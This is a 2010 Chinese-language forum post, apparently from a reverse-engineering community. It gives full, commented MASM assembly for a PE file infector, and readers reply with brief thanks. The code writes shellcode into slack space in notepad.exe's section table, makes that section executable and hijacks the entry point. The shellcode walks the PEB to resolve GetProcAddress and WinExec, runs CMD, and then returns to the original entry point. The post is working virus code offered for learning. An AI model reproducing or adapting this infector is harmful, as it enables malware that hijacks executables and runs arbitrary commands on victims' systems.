首页
社区
课程
招聘
[旧帖] 感染PE文件的的简单代码(汇编) 0.00雪花
2010-2-26 09:53 3946

[旧帖] 感染PE文件的的简单代码(汇编) 0.00雪花

2010-2-26 09:53
3946
代码不复杂 仅仅感染f盘下的notepad.exe

感染方式很简单:
遍历节表 找到可以容纳shellcode的节  写入shellcode

sellcode的功能也很简单:
通过fs:[30h]获得peb 通过peb获得kernel32.dll的基址  遍历导出表  找到GetProcAddress的内存地址  然后调用GetProcAddress获得WinExec的内存地址  然后执行CMD  最后跳回原始OEP

主要是我把注释写的比较完善了,给和我一样的新手做个参考吧。

.386
.model flat,stdcall
option	casemap:none

include windows.inc
include kernel32.inc
include user32.inc

includelib kernel32.lib
includelib user32.lib

.const
szFile		db		'f:\notepad.exe',0

.data?
hFile			dd		?
hMapFile		dd		?
lpFile		dd		?

lpCodeRva	dd		?
lpCodeOffset	dd	?

.code



;shellcode start
SHELLCODE_START equ this byte

	assume	fs:flat
	mov	eax,fs:[30h]
	mov	eax,[eax + 0ch]
	mov	esi,[eax + 1ch]
	lodsd
	mov	edx,[eax + 8h]	;得到kernel32.dll的基地址
	
	mov	eax,(IMAGE_DOS_HEADER ptr [edx]).e_lfanew
	mov	eax,(IMAGE_NT_HEADERS ptr [edx + eax]).OptionalHeader.DataDirectory.VirtualAddress	;导出表的RVA
	add	eax,edx	;导出表在内存中的实际地址
	
	assume	eax:ptr IMAGE_EXPORT_DIRECTORY

	mov	esi,[eax].AddressOfNames
	add	esi,edx
	
	push	00007373h
	push	65726464h
	push	41636f72h
	push	50746547h	;这四句push 构造了 GetProcAddress\0	共15(0fh)个字节
	
	push	esp			;把此时栈顶的值压入栈中 等会要用
	
	xor	ecx,ecx
	.repeat
		mov	edi,[esi]
		add	edi,edx			;首次循环时 edi的值就是首个导出函数的名称的地址
	
		push	esi				;esi是AddressOfNames 函数名称的地址数组的地址 先保存起来
		
		mov	esi,[esp+4]		;[esp+4]获取栈顶数第二个  是一个DWORD  值是指向栈空间里的GetProcAddress 
		
		;注意 此时[esi]就是栈中的GetProcAddress	[edi]就是导出函数的名称
		
		push	ecx				;保存遍历导出表中函数名称的循环次数
		
		mov	ecx,0fh			;GetProcAddress\0的长度  设置循环比较[esi]和[edi]的循环次数

		repz	cmpsb				;对比 [esi] 和 [edi]

		.break	.if ZERO?	;循环cmp后  zero flag仍然是0 说明找到了 GetProcAddress  则跳出循环
		
		pop	ecx				;恢复遍历导出表中函数名称的循环次数
		
		pop	esi				;恢复esi为 指向 AddressOfNames 函数名称的地址数组的地址
		
		add	esi,4				;指向下一个DWORD esi就是下一个函数名称的地址
		
		inc	ecx
		
	.until	ecx >= [eax].NumberOfNames
	
	
	pop	ecx			;ecx此时是GetProcAddress在kernel32.dll中的AddressOfNames数组的位置  和AddressOfNameOrdinas是一一对应的
	
	
	add	esp,18h		;释放栈中的 GetProcAddress\0\0 16个字节 + 地址4个字节 + esi也是4个字节   共24(18h)个字节
	
	mov	esi,[eax].AddressOfNameOrdinals
	add	esi,edx		;esi此时是AddressOfNameOrdinals的地址了
	
	movzx	ecx,WORD ptr [esi+ ecx * 2]	;计算序数的地址 并取得该地址中的值 也就是序数啦 保存到ecx中  (乘2是因为序数是WORD类型保存的)
	
	
	mov	esi,[eax].AddressOfFunctions
	add	esi,edx
	mov	esi,[esi+ecx*4]				;将GetProcAddress的RVA 存到esi中
	
	add	esi,edx							;加上基址 得到GetProcAddress的基址
	
	assume eax:nothing
	
	;注意  esi中现在是GetProcAddress的地址了
	;以下代码可以使用 call esi  调用GetProcAddress了
	
	push	00636578h
	push	456e6957h	;在栈中构造字符串 WinExec
	
	push	esp			;老办法 把刚才构造的WinExec的内存地址再入栈
	push	edx			;kernel32.dll的基址 也就是HANDLE
	
	call	esi			;调用GetProcAddress 获取 WinExec的地址
	
	add	esp,8			;释放栈里面的字符串 WinExec所占空间
	
	;注意 此时eax就是WinExec的地址
	
	push	00444d43h	;在栈中构造字符串 CMD
	push	esp
	push	SW_SHOW
	push	[esp+4]		;加4是因为此时栈顶是刚刚压入的SW_SHOW,加4后才是栈中构造的字符串CMD
	
	call eax				;调用WinExec 执行CMD

	add	esp,4


	;以下代码要跳回原始oep了
	
	db 68h					;机器码68h 是PUSH的意思
	OldEntryPoint:
	dd ?						;这4个BYTE 将被修改为原来的入口点 与上一句68h  组成PUSH xxxxxxxx	
	jmp DWORD ptr [esp]	;前面刚把原来的入口点压入栈中 所以 jmp 到 esp栈顶的元素 也就是原来的入口点

;	db 0e9h
;	OEPOffs:
;	dd ?						;或者可以用这种e9跳转的形式
	

SHELLCODE_END equ this byte

SHELLCODE_LENGTH equ offset SHELLCODE_END - offset SHELLCODE_START
;shellcode ends




start:
	
	invoke CreateFile,addr szFile,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL
	
	.if eax != INVALID_HANDLE_VALUE
		mov hFile, eax
		invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL

		.if eax
			mov hMapFile, eax
			invoke MapViewOfFile,hMapFile,FILE_MAP_READ or FILE_MAP_WRITE,0,0,0

			.if eax
				xor ebx,ebx
				mov bx,(IMAGE_DOS_HEADER ptr [eax]).e_magic 
				.if bx == IMAGE_DOS_SIGNATURE
					mov lpFile, eax
					mov esi, eax
					mov esi, (IMAGE_DOS_HEADER ptr [eax]).e_lfanew
					add esi, eax
					
					assume esi: ptr IMAGE_NT_HEADERS
					
					.if [esi].Signature == IMAGE_NT_SIGNATURE
					
						mov ebx, esi
						add ebx, sizeof IMAGE_NT_HEADERS
						
						assume ebx: ptr IMAGE_SECTION_HEADER
						
						xor eax, eax
						mov ax, [esi].FileHeader.NumberOfSections
						mov ecx, eax
						
						lp:
							mov eax, [ebx].SizeOfRawData
							sub eax, [ebx].Misc.VirtualSize
							.if eax > SHELLCODE_LENGTH
								jmp @F
							.endif
							add ebx, sizeof IMAGE_SECTION_HEADER
		
						loop lp

					.endif
				.endif
			.endif
		.endif
	.endif

	invoke ExitProcess,NULL
	
	@@:	;finded section
	
	mov eax, [ebx].VirtualAddress
	add eax, [ebx].Misc.VirtualSize
	mov lpCodeRva, eax
	
	mov eax, [ebx].PointerToRawData
	add eax, [ebx].Misc.VirtualSize
	mov lpCodeOffset, eax
	
	or	[ebx].Characteristics, IMAGE_SCN_MEM_READ				
	or [ebx].Characteristics, IMAGE_SCN_MEM_EXECUTE
	
	add [ebx].Misc.VirtualSize, SHELLCODE_LENGTH
	
	add eax, lpFile
	
	invoke RtlMoveMemory,eax, offset SHELLCODE_START, SHELLCODE_LENGTH
	
	mov edi, [esi].OptionalHeader.AddressOfEntryPoint
	add edi, [esi].OptionalHeader.ImageBase					;shellcode 中要jmp到这个地址		这是使用 push xxxxxxxx  jmp DWORD ptr [esp] 方法时用的地址

;	mov eax, lpCodeRva												;新的入口点
;	add eax, offset OEPOffs - offset SHELLCODE_START + 4	;加上OEPOffs标号位置+4   就是跳转的基地址了 +4是因为跳转的基地址是下一条指令的地址
;	sub edi, eax														;shellcode 中要jmp到这个偏移		旧的OEP是目标地址 减去跳转的基地址  就是偏移了

		
	mov eax, lpFile
	add eax, lpCodeOffset

	add eax, offset OldEntryPoint - offset SHELLCODE_START	;jmp DWORD ptr [esp] 时使用的方法
;	add eax, offset OEPOffs - offset SHELLCODE_START			;直接jmp偏移使用的方法

	
	mov [eax], edi
	
	push lpCodeRva
	pop [esi].OptionalHeader.AddressOfEntryPoint
	
	invoke ExitProcess,NULL

	

end start

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞6
打赏
分享
最新回复 (12)
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zjjhwh 2010-2-28 12:20
2
0
学习了解,谢谢。。。
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cjhyhy 2010-3-13 11:35
3
0
学习学习,我是一张白纸
雪    币: 94
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tims 2010-3-13 11:53
4
0
俺是超级菜鸟,什么都不会。。。。。。
雪    币: 126
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
蓅行耍褲 2010-3-13 17:38
5
0
新手,看了半天还是看不大懂。
雪    币: 129
活跃值: (323)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
xed 2010-3-13 17:40
6
0
感谢分享

楼主
雪    币: 242
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
guangba 2010-3-13 18:56
7
0
学习,这个要收藏。
雪    币: 431
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
末日 2010-3-13 19:19
8
0
支持楼主~~~
雪    币: 788
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Nekoxiaoji 2010-3-14 13:11
9
0
不错不错
雪    币: 339
活跃值: (51)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ghban 2010-3-14 13:37
10
0
不错不错 非常简单 谢谢了
雪    币: 371
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
邵刚 2010-3-14 22:21
11
0
能人多多啊。总是有创意
雪    币: 23
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sysdef 2010-3-15 00:41
12
0
留下痕迹,学习学习,呵呵呵
雪    币: 49
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
新学手 2010-3-15 01:47
13
0
看不懂
游客
登录 | 注册 方可回帖
返回